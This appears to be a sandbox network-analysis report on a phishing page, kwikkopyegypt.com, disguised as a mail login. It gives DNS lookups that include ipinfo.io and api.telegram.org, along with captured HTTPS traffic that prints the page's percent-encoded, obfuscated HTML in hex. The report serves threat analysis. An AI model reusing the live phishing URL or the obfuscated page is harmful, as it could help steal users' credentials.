Mar 10, 2025 13:50:37.548783064 CET	1.1.1.1	192.168.2.25	0xd8db	No error (0)	kwikkopyegypt.com		50.62.201.28	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.163213015 CET	1.1.1.1	192.168.2.25	0xde1	No error (0)	code.jquery.com		151.101.130.137	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.163213015 CET	1.1.1.1	192.168.2.25	0xde1	No error (0)	code.jquery.com		151.101.2.137	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.163213015 CET	1.1.1.1	192.168.2.25	0xde1	No error (0)	code.jquery.com		151.101.66.137	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.163213015 CET	1.1.1.1	192.168.2.25	0xde1	No error (0)	code.jquery.com		151.101.194.137	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.166111946 CET	1.1.1.1	192.168.2.25	0x8a4c	No error (0)	kit.fontawesome.com	kit.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:50:42.166111946 CET	1.1.1.1	192.168.2.25	0x8a4c	No error (0)	kit.fontawesome.com.cdn.cloudflare.net		104.18.40.68	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.166111946 CET	1.1.1.1	192.168.2.25	0x8a4c	No error (0)	kit.fontawesome.com.cdn.cloudflare.net		172.64.147.188	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.166122913 CET	1.1.1.1	192.168.2.25	0x2479	No error (0)	kit.fontawesome.com	kit.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:50:42.166131973 CET	1.1.1.1	192.168.2.25	0x717b	No error (0)	cdnjs.cloudflare.com		104.17.25.14	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.166131973 CET	1.1.1.1	192.168.2.25	0x717b	No error (0)	cdnjs.cloudflare.com		104.17.24.14	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.166141033 CET	1.1.1.1	192.168.2.25	0xdfce	No error (0)	maxcdn.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.166141033 CET	1.1.1.1	192.168.2.25	0xdfce	No error (0)	maxcdn.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.166148901 CET	1.1.1.1	192.168.2.25	0x46cc	No error (0)	maxcdn.bootstrapcdn.com			65	IN (0x0001)	false
Mar 10, 2025 13:50:42.166157961 CET	1.1.1.1	192.168.2.25	0x7253	No error (0)	cdnjs.cloudflare.com			65	IN (0x0001)	false
Mar 10, 2025 13:50:42.166167021 CET	1.1.1.1	192.168.2.25	0x11da	No error (0)	stackpath.bootstrapcdn.com			65	IN (0x0001)	false
Mar 10, 2025 13:50:42.168081045 CET	1.1.1.1	192.168.2.25	0xe86d	No error (0)	stackpath.bootstrapcdn.com		104.18.10.207	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:42.168081045 CET	1.1.1.1	192.168.2.25	0xe86d	No error (0)	stackpath.bootstrapcdn.com		104.18.11.207	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:46.741142035 CET	1.1.1.1	192.168.2.25	0x79f4	No error (0)	logo.clearbit.com	d26p066pn2w0s0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:50:46.741153002 CET	1.1.1.1	192.168.2.25	0x336d	No error (0)	logo.clearbit.com	d26p066pn2w0s0.cloudfront.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:50:46.741153002 CET	1.1.1.1	192.168.2.25	0x336d	No error (0)	d26p066pn2w0s0.cloudfront.net		13.32.27.129	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:46.741153002 CET	1.1.1.1	192.168.2.25	0x336d	No error (0)	d26p066pn2w0s0.cloudfront.net		13.32.27.14	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:46.741153002 CET	1.1.1.1	192.168.2.25	0x336d	No error (0)	d26p066pn2w0s0.cloudfront.net		13.32.27.77	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:46.741153002 CET	1.1.1.1	192.168.2.25	0x336d	No error (0)	d26p066pn2w0s0.cloudfront.net		13.32.27.44	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:46.755801916 CET	1.1.1.1	192.168.2.25	0x3914	No error (0)	www.google.com		216.58.206.36	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:46.756123066 CET	1.1.1.1	192.168.2.25	0x7892	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 10, 2025 13:50:47.455759048 CET	1.1.1.1	192.168.2.25	0x8536	No error (0)	image.thum.io		54.156.104.133	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:47.455759048 CET	1.1.1.1	192.168.2.25	0x8536	No error (0)	image.thum.io		98.83.245.220	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:47.455759048 CET	1.1.1.1	192.168.2.25	0x8536	No error (0)	image.thum.io		44.218.42.246	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:47.488737106 CET	1.1.1.1	192.168.2.25	0x64a4	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:50:47.488737106 CET	1.1.1.1	192.168.2.25	0x64a4	No error (0)	ka-f.fontawesome.com.cdn.cloudflare.net		172.67.139.119	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:47.488737106 CET	1.1.1.1	192.168.2.25	0x64a4	No error (0)	ka-f.fontawesome.com.cdn.cloudflare.net		104.21.26.223	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:50:47.489651918 CET	1.1.1.1	192.168.2.25	0x5dd5	No error (0)	ka-f.fontawesome.com	ka-f.fontawesome.com.cdn.cloudflare.net		CNAME (Canonical name)	IN (0x0001)	false
Mar 10, 2025 13:50:47.489651918 CET	1.1.1.1	192.168.2.25	0x5dd5	No error (0)	ka-f.fontawesome.com.cdn.cloudflare.net			65	IN (0x0001)	false
Mar 10, 2025 13:51:10.584750891 CET	1.1.1.1	192.168.2.25	0xb65	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:12.942126036 CET	1.1.1.1	192.168.2.25	0xf7d4	No error (0)	dns.google		8.8.8.8	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:12.942126036 CET	1.1.1.1	192.168.2.25	0xf7d4	No error (0)	dns.google		8.8.4.4	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:12.946806908 CET	1.1.1.1	192.168.2.25	0xf762	No error (0)	ipinfo.io		34.117.59.81	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:15.273355007 CET	1.1.1.1	192.168.2.25	0x7588	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:15.274686098 CET	1.1.1.1	192.168.2.25	0xd3a7	No error (0)	dns.google		8.8.4.4	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:15.274686098 CET	1.1.1.1	192.168.2.25	0xd3a7	No error (0)	dns.google		8.8.8.8	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:17.855705023 CET	1.1.1.1	192.168.2.25	0x50d5	No error (0)	api.telegram.org		149.154.167.220	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:36.662604094 CET	1.1.1.1	192.168.2.25	0x8012	No error (0)	www.google.com		172.217.18.4	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:36.663342953 CET	1.1.1.1	192.168.2.25	0xe35f	No error (0)	www.google.com			65	IN (0x0001)	false
Mar 10, 2025 13:51:44.933037043 CET	1.1.1.1	192.168.2.25	0xc564	No error (0)	www.southwark.anglican.org		141.193.213.21	A (IP address)	IN (0x0001)	false
Mar 10, 2025 13:51:44.977140903 CET	1.1.1.1	192.168.2.25	0x61ac	No error (0)	www.southwark.anglican.org		141.193.213.21	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

kwikkopyegypt.com

cdnjs.cloudflare.com

code.jquery.com

www.google.com

image.thum.io

ipinfo.io

dns.google

api.telegram.org

otelrules.svc.static.microsoft

www.southwark.anglican.org

HTTPS Proxied Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.25	49745	50.62.201.28	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:50:40 UTC	723	OUT	GET /wp-admin/mail.verify/interface.root/login.php/inbox.html HTTP/1.1 Host: kwikkopyegypt.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: none Sec-Fetch-Mode: navigate Sec-Fetch-User: ?1 Sec-Fetch-Dest: document Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:50:41 UTC	296	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 12:50:40 GMT Server: Apache Upgrade: h2,h2c Connection: Upgrade, close Last-Modified: Thu, 06 Mar 2025 21:56:20 GMT ETag: "1a60306-100a72-62fb39380a074" Accept-Ranges: bytes Content-Length: 1051250 Vary: Accept-Encoding Content-Type: text/html
2025-03-10 12:50:41 UTC	7896	IN	Data Raw: ef bb bf 3c 73 63 72 69 70 74 20 6c 61 6e 67 75 61 67 65 3d 22 6a 61 76 61 73 63 72 69 70 74 22 3e 0a 3c 21 2d 2d 0a 2f 2f 20 3d 3d 20 42 65 67 69 6e 20 46 72 65 65 20 48 54 4d 4c 20 53 6f 75 72 63 65 20 43 6f 64 65 20 4f 62 66 75 73 63 61 74 69 6f 6e 20 50 72 6f 74 65 63 74 69 6f 6e 20 66 72 6f 6d 20 68 74 74 70 73 3a 2f 2f 73 6e 61 70 62 75 69 6c 64 65 72 2e 63 6f 6d 20 3d 3d 20 2f 2f 0a 64 6f 63 75 6d 65 6e 74 2e 77 72 69 74 65 28 75 6e 65 73 63 61 70 65 28 27 25 33 43 25 36 38 25 37 34 25 36 44 25 36 43 25 32 30 25 36 43 25 36 31 25 36 45 25 36 37 25 33 44 25 32 32 25 46 32 25 30 42 25 42 36 25 32 32 25 33 45 25 30 41 25 30 41 25 33 43 25 36 38 25 36 35 25 36 31 25 36 34 25 33 45 25 30 41 25 32 30 25 32 30 25 33 43 25 36 44 25 36 35 25 37 34 25 36 31 Data Ascii: <script language="javascript">...// == Begin Free HTML Source Code Obfuscation Protection from https://snapbuilder.com == //document.write(unescape('%3C%68%74%6D%6C%20%6C%61%6E%67%3D%22%F2%0B%B6%22%3E%0A%0A%3C%68%65%61%64%3E%0A%20%20%3C%6D%65%74%61
2025-03-10 12:50:41 UTC	8000	IN	Data Raw: 25 36 39 25 37 32 25 36 33 25 36 43 25 36 35 25 32 44 25 36 46 25 32 44 25 37 35 25 37 30 25 32 30 25 37 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 46 25 36 45 25 37 34 25 32 44 25 36 36 25 36 31 25 36 44 25 36 39 25 36 43 25 37 39 25 33 41 25 32 30 25 32 32 25 34 36 25 36 46 25 36 45 25 37 34 25 32 30 25 34 31 25 37 37 25 36 35 25 37 33 25 36 46 25 36 44 25 36 35 25 32 30 25 33 35 25 32 30 25 34 36 25 37 32 25 36 35 25 36 35 25 32 32 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 46 25 36 45 25 37 34 25 32 44 25 37 37 25 36 35 25 36 39 25 36 37 25 36 38 25 37 34 25 33 41 25 32 30 25 33 34 25 33 30 25 33 30 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 37 44 25 30 41 25 30 41 Data Ascii: %69%72%63%6C%65%2D%6F%2D%75%70%20%7B%0A%20%20%20%20%20%20%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%20%22%46%6F%6E%74%20%41%77%65%73%6F%6D%65%20%35%20%46%72%65%65%22%3B%0A%20%20%20%20%20%20%66%6F%6E%74%2D%77%65%69%67%68%74%3A%20%34%30%30%0A%20%20%20%20%7D%0A%0A
2025-03-10 12:50:41 UTC	8000	IN	Data Raw: 32 25 32 44 25 36 33 25 36 38 25 36 31 25 37 32 25 37 34 25 32 30 25 37 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 46 25 36 45 25 37 34 25 32 44 25 36 36 25 36 31 25 36 44 25 36 39 25 36 43 25 37 39 25 33 41 25 32 30 25 32 32 25 34 36 25 36 46 25 36 45 25 37 34 25 32 30 25 34 31 25 37 37 25 36 35 25 37 33 25 36 46 25 36 44 25 36 35 25 32 30 25 33 35 25 32 30 25 34 36 25 37 32 25 36 35 25 36 35 25 32 32 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 46 25 36 45 25 37 34 25 32 44 25 37 37 25 36 35 25 36 39 25 36 37 25 36 38 25 37 34 25 33 41 25 32 30 25 33 34 25 33 30 25 33 30 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 37 44 25 30 41 25 30 41 25 32 30 25 32 30 25 32 30 25 32 Data Ascii: 2%2D%63%68%61%72%74%20%7B%0A%20%20%20%20%20%20%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%20%22%46%6F%6E%74%20%41%77%65%73%6F%6D%65%20%35%20%46%72%65%65%22%3B%0A%20%20%20%20%20%20%66%6F%6E%74%2D%77%65%69%67%68%74%3A%20%34%30%30%0A%20%20%20%20%7D%0A%0A%20%20%20%2
2025-03-10 12:50:41 UTC	8000	IN	Data Raw: 32 45 25 36 36 25 36 31 25 32 44 25 36 38 25 36 31 25 36 45 25 36 34 25 32 44 25 36 46 25 32 44 25 37 32 25 36 39 25 36 37 25 36 38 25 37 34 25 32 30 25 37 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 46 25 36 45 25 37 34 25 32 44 25 36 36 25 36 31 25 36 44 25 36 39 25 36 43 25 37 39 25 33 41 25 32 30 25 32 32 25 34 36 25 36 46 25 36 45 25 37 34 25 32 30 25 34 31 25 37 37 25 36 35 25 37 33 25 36 46 25 36 44 25 36 35 25 32 30 25 33 35 25 32 30 25 34 36 25 37 32 25 36 35 25 36 35 25 32 32 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 46 25 36 45 25 37 34 25 32 44 25 37 37 25 36 35 25 36 39 25 36 37 25 36 38 25 37 34 25 33 41 25 32 30 25 33 34 25 33 30 25 33 30 25 30 41 25 32 30 25 Data Ascii: 2E%66%61%2D%68%61%6E%64%2D%6F%2D%72%69%67%68%74%20%7B%0A%20%20%20%20%20%20%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%20%22%46%6F%6E%74%20%41%77%65%73%6F%6D%65%20%35%20%46%72%65%65%22%3B%0A%20%20%20%20%20%20%66%6F%6E%74%2D%77%65%69%67%68%74%3A%20%34%30%30%0A%20%
2025-03-10 12:50:41 UTC	8000	IN	Data Raw: 25 32 45 25 36 36 25 36 31 25 32 44 25 37 30 25 36 31 25 37 33 25 37 34 25 36 35 25 33 41 25 36 32 25 36 35 25 36 36 25 36 46 25 37 32 25 36 35 25 32 30 25 37 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 33 25 36 46 25 36 45 25 37 34 25 36 35 25 36 45 25 37 34 25 33 41 25 32 30 25 32 32 25 35 43 25 36 36 25 33 33 25 33 32 25 33 38 25 32 32 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 37 44 25 30 41 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 45 25 36 36 25 36 31 25 32 45 25 36 36 25 36 31 25 32 44 25 36 43 25 36 39 25 36 37 25 36 38 25 37 34 25 36 32 25 37 35 25 36 43 25 36 32 25 32 44 25 36 46 25 32 30 25 37 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 46 25 36 45 25 37 34 25 32 44 Data Ascii: %2E%66%61%2D%70%61%73%74%65%3A%62%65%66%6F%72%65%20%7B%0A%20%20%20%20%20%20%63%6F%6E%74%65%6E%74%3A%20%22%5C%66%33%32%38%22%0A%20%20%20%20%7D%0A%0A%20%20%20%20%2E%66%61%2E%66%61%2D%6C%69%67%68%74%62%75%6C%62%2D%6F%20%7B%0A%20%20%20%20%20%20%66%6F%6E%74%2D
2025-03-10 12:50:41 UTC	8000	IN	Data Raw: 44 25 30 41 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 45 25 36 36 25 36 31 25 32 45 25 36 36 25 36 31 25 32 44 25 37 33 25 37 34 25 36 31 25 37 32 25 32 44 25 36 38 25 36 31 25 36 43 25 36 36 25 32 44 25 36 46 25 32 30 25 37 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 46 25 36 45 25 37 34 25 32 44 25 36 36 25 36 31 25 36 44 25 36 39 25 36 43 25 37 39 25 33 41 25 32 30 25 32 32 25 34 36 25 36 46 25 36 45 25 37 34 25 32 30 25 34 31 25 37 37 25 36 35 25 37 33 25 36 46 25 36 44 25 36 35 25 32 30 25 33 35 25 32 30 25 34 36 25 37 32 25 36 35 25 36 35 25 32 32 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 46 25 36 45 25 37 34 25 32 44 25 37 37 25 36 35 25 36 39 25 36 37 25 36 Data Ascii: D%0A%0A%20%20%20%20%2E%66%61%2E%66%61%2D%73%74%61%72%2D%68%61%6C%66%2D%6F%20%7B%0A%20%20%20%20%20%20%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%20%22%46%6F%6E%74%20%41%77%65%73%6F%6D%65%20%35%20%46%72%65%65%22%3B%0A%20%20%20%20%20%20%66%6F%6E%74%2D%77%65%69%67%6
2025-03-10 12:50:41 UTC	8000	IN	Data Raw: 32 45 25 36 36 25 36 31 25 32 44 25 36 34 25 36 46 25 36 43 25 36 43 25 36 31 25 37 32 25 33 41 25 36 32 25 36 35 25 36 36 25 36 46 25 37 32 25 36 35 25 32 43 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 45 25 36 36 25 36 31 25 32 45 25 36 36 25 36 31 25 32 44 25 37 35 25 37 33 25 36 34 25 33 41 25 36 32 25 36 35 25 36 36 25 36 46 25 37 32 25 36 35 25 32 30 25 37 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 33 25 36 46 25 36 45 25 37 34 25 36 35 25 36 45 25 37 34 25 33 41 25 32 30 25 32 32 25 35 43 25 36 36 25 33 31 25 33 35 25 33 35 25 32 32 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 37 44 25 30 41 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 45 25 36 36 25 36 31 25 32 45 25 36 36 25 36 31 25 32 44 25 36 39 25 Data Ascii: 2E%66%61%2D%64%6F%6C%6C%61%72%3A%62%65%66%6F%72%65%2C%0A%20%20%20%20%2E%66%61%2E%66%61%2D%75%73%64%3A%62%65%66%6F%72%65%20%7B%0A%20%20%20%20%20%20%63%6F%6E%74%65%6E%74%3A%20%22%5C%66%31%35%35%22%0A%20%20%20%20%7D%0A%0A%20%20%20%20%2E%66%61%2E%66%61%2D%69%
2025-03-10 12:50:41 UTC	8000	IN	Data Raw: 25 32 45 25 36 36 25 36 31 25 32 45 25 36 36 25 36 31 25 32 44 25 37 32 25 36 35 25 36 45 25 37 32 25 36 35 25 36 45 25 32 43 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 45 25 36 36 25 36 31 25 32 45 25 36 36 25 36 31 25 32 44 25 37 33 25 37 34 25 36 31 25 36 33 25 36 42 25 32 44 25 36 35 25 37 38 25 36 33 25 36 38 25 36 31 25 36 45 25 36 37 25 36 35 25 32 43 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 45 25 36 36 25 36 31 25 32 45 25 36 36 25 36 31 25 32 44 25 37 36 25 36 42 25 32 43 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 45 25 36 36 25 36 31 25 32 45 25 36 36 25 36 31 25 32 44 25 37 37 25 36 35 25 36 39 25 36 32 25 36 46 25 32 30 25 37 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 46 25 36 45 Data Ascii: %2E%66%61%2E%66%61%2D%72%65%6E%72%65%6E%2C%0A%20%20%20%20%2E%66%61%2E%66%61%2D%73%74%61%63%6B%2D%65%78%63%68%61%6E%67%65%2C%0A%20%20%20%20%2E%66%61%2E%66%61%2D%76%6B%2C%0A%20%20%20%20%2E%66%61%2E%66%61%2D%77%65%69%62%6F%20%7B%0A%20%20%20%20%20%20%66%6F%6E
2025-03-10 12:50:41 UTC	8000	IN	Data Raw: 44 25 36 46 25 33 41 25 36 32 25 36 35 25 36 36 25 36 46 25 37 32 25 36 35 25 32 30 25 37 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 33 25 36 46 25 36 45 25 37 34 25 36 35 25 36 45 25 37 34 25 33 41 25 32 30 25 32 32 25 35 43 25 36 36 25 33 31 25 36 33 25 33 31 25 32 32 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 37 44 25 30 41 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 45 25 36 36 25 36 31 25 32 45 25 36 36 25 36 31 25 32 44 25 36 36 25 36 39 25 36 43 25 36 35 25 32 44 25 37 37 25 36 46 25 37 32 25 36 34 25 32 44 25 36 46 25 32 30 25 37 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 46 25 36 45 25 37 34 25 32 44 25 36 36 25 36 31 25 36 44 25 36 39 25 36 43 25 37 39 25 33 41 25 32 Data Ascii: D%6F%3A%62%65%66%6F%72%65%20%7B%0A%20%20%20%20%20%20%63%6F%6E%74%65%6E%74%3A%20%22%5C%66%31%63%31%22%0A%20%20%20%20%7D%0A%0A%20%20%20%20%2E%66%61%2E%66%61%2D%66%69%6C%65%2D%77%6F%72%64%2D%6F%20%7B%0A%20%20%20%20%20%20%66%6F%6E%74%2D%66%61%6D%69%6C%79%3A%2
2025-03-10 12:50:41 UTC	8000	IN	Data Raw: 33 35 25 32 30 25 34 36 25 37 32 25 36 35 25 36 35 25 32 32 25 33 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 36 25 36 46 25 36 45 25 37 34 25 32 44 25 37 37 25 36 35 25 36 39 25 36 37 25 36 38 25 37 34 25 33 41 25 32 30 25 33 34 25 33 30 25 33 30 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 37 44 25 30 41 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 45 25 36 36 25 36 31 25 32 45 25 36 36 25 36 31 25 32 44 25 36 43 25 36 39 25 36 36 25 36 35 25 32 44 25 37 33 25 36 31 25 37 36 25 36 35 25 37 32 25 33 41 25 36 32 25 36 35 25 36 36 25 36 46 25 37 32 25 36 35 25 32 30 25 37 42 25 30 41 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 32 30 25 36 33 25 36 46 25 36 45 25 37 34 25 36 35 25 36 45 25 37 34 25 33 41 25 32 30 25 Data Ascii: 35%20%46%72%65%65%22%3B%0A%20%20%20%20%20%20%66%6F%6E%74%2D%77%65%69%67%68%74%3A%20%34%30%30%0A%20%20%20%20%7D%0A%0A%20%20%20%20%2E%66%61%2E%66%61%2D%6C%69%66%65%2D%73%61%76%65%72%3A%62%65%66%6F%72%65%20%7B%0A%20%20%20%20%20%20%63%6F%6E%74%65%6E%74%3A%20%

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.25	49754	104.17.25.14	443	7156	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-03-10 12:50:44 UTC	692	OUT	GET /ajax/libs/popper.js/1.12.9/umd/popper.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive Origin: https://kwikkopyegypt.com sec-ch-ua-platform: "Windows" User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/131.0.0.0 Safari/537.36 sec-ch-ua: "Google Chrome";v="131", "Chromium";v="131", "Not_A Brand";v="24" Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-mobile: ?0 Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: script Referer: https://kwikkopyegypt.com/ Accept-Encoding: gzip, deflate, br, zstd Accept-Language: en-US,en;q=0.9
2025-03-10 12:50:44 UTC	954	IN	HTTP/1.1 200 OK Date: Mon, 10 Mar 2025 12:50:44 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"649949ff-1afc" Last-Modified: Mon, 26 Jun 2023 08:19:11 GMT cf-cdnjs-via: cfworker/r2 Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 851200 Expires: Sat, 28 Feb 2026 12:50:44 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=hSkhthQlaFwxivUIU0T8ISvoXSSdTenFzo7FK1jySiBRKXxWmuEzRyc8ppUnsACPwvotLTh0JJ5RzMy%2FvIFKvWkRn9pPO1TrvWpqEdDbISM1BQ1iIdLzSxgOG5Ul7qCyCsDVwbqn"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 91e2f0836e5b42cb-EWR alt-svc: h3=":443"; ma=86400
2025-03-10 12:50:44 UTC	415	IN	Data Raw: 34 61 66 34 0d 0a 2f 2a 0a 20 43 6f 70 79 72 69 67 68 74 20 28 43 29 20 46 65 64 65 72 69 63 6f 20 5a 69 76 6f 6c 6f 20 32 30 31 37 0a 20 44 69 73 74 72 69 62 75 74 65 64 20 75 6e 64 65 72 20 74 68 65 20 4d 49 54 20 4c 69 63 65 6e 73 65 20 28 6c 69 63 65 6e 73 65 20 74 65 72 6d 73 20 61 72 65 20 61 74 20 68 74 74 70 3a 2f 2f 6f 70 65 6e 73 6f 75 72 63 65 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 73 2f 4d 49 54 29 2e 0a 20 2a 2f 28 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 27 6f 62 6a 65 63 74 27 3d 3d 74 79 70 65 6f 66 20 65 78 70 6f 72 74 73 26 26 27 75 6e 64 65 66 69 6e 65 64 27 21 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 74 28 29 3a 27 66 75 6e 63 74 69 6f 6e 27 3d 3d 74 79 70 65 6f 66 20 64 65 66 69 6e 65 26 Data Ascii: 4af4/* Copyright (C) Federico Zivolo 2017 Distributed under the MIT License (license terms are at http://opensource.org/licenses/MIT). */(function(e,t){'object'==typeof exports&&'undefined'!=typeof module?module.exports=t():'function'==typeof define&
2025-03-10 12:50:44 UTC	1369	IN	Data Raw: 65 54 79 70 65 29 72 65 74 75 72 6e 5b 5d 3b 76 61 72 20 6f 3d 67 65 74 43 6f 6d 70 75 74 65 64 53 74 79 6c 65 28 65 2c 6e 75 6c 6c 29 3b 72 65 74 75 72 6e 20 74 3f 6f 5b 74 5d 3a 6f 7d 66 75 6e 63 74 69 6f 6e 20 6f 28 65 29 7b 72 65 74 75 72 6e 27 48 54 4d 4c 27 3d 3d 3d 65 2e 6e 6f 64 65 4e 61 6d 65 3f 65 3a 65 2e 70 61 72 65 6e 74 4e 6f 64 65 7c 7c 65 2e 68 6f 73 74 7d 66 75 6e 63 74 69 6f 6e 20 6e 28 65 29 7b 69 66 28 21 65 29 72 65 74 75 72 6e 20 64 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 73 77 69 74 63 68 28 65 2e 6e 6f 64 65 4e 61 6d 65 29 7b 63 61 73 65 27 48 54 4d 4c 27 3a 63 61 73 65 27 42 4f 44 59 27 3a 72 65 74 75 72 6e 20 65 2e 6f 77 6e 65 72 44 6f 63 75 6d 65 6e 74 2e 62 6f 64 79 3b 63 61 73 65 27 23 64 6f 63 75 6d 65 6e 74 27 3a 72 65 74 75 Data Ascii: eType)return[];var o=getComputedStyle(e,null);return t?o[t]:o}function o(e){return'HTML'===e.nodeName?e:e.parentNode\|\|e.host}function n(e){if(!e)return document.body;switch(e.nodeName){case'HTML':case'BODY':return 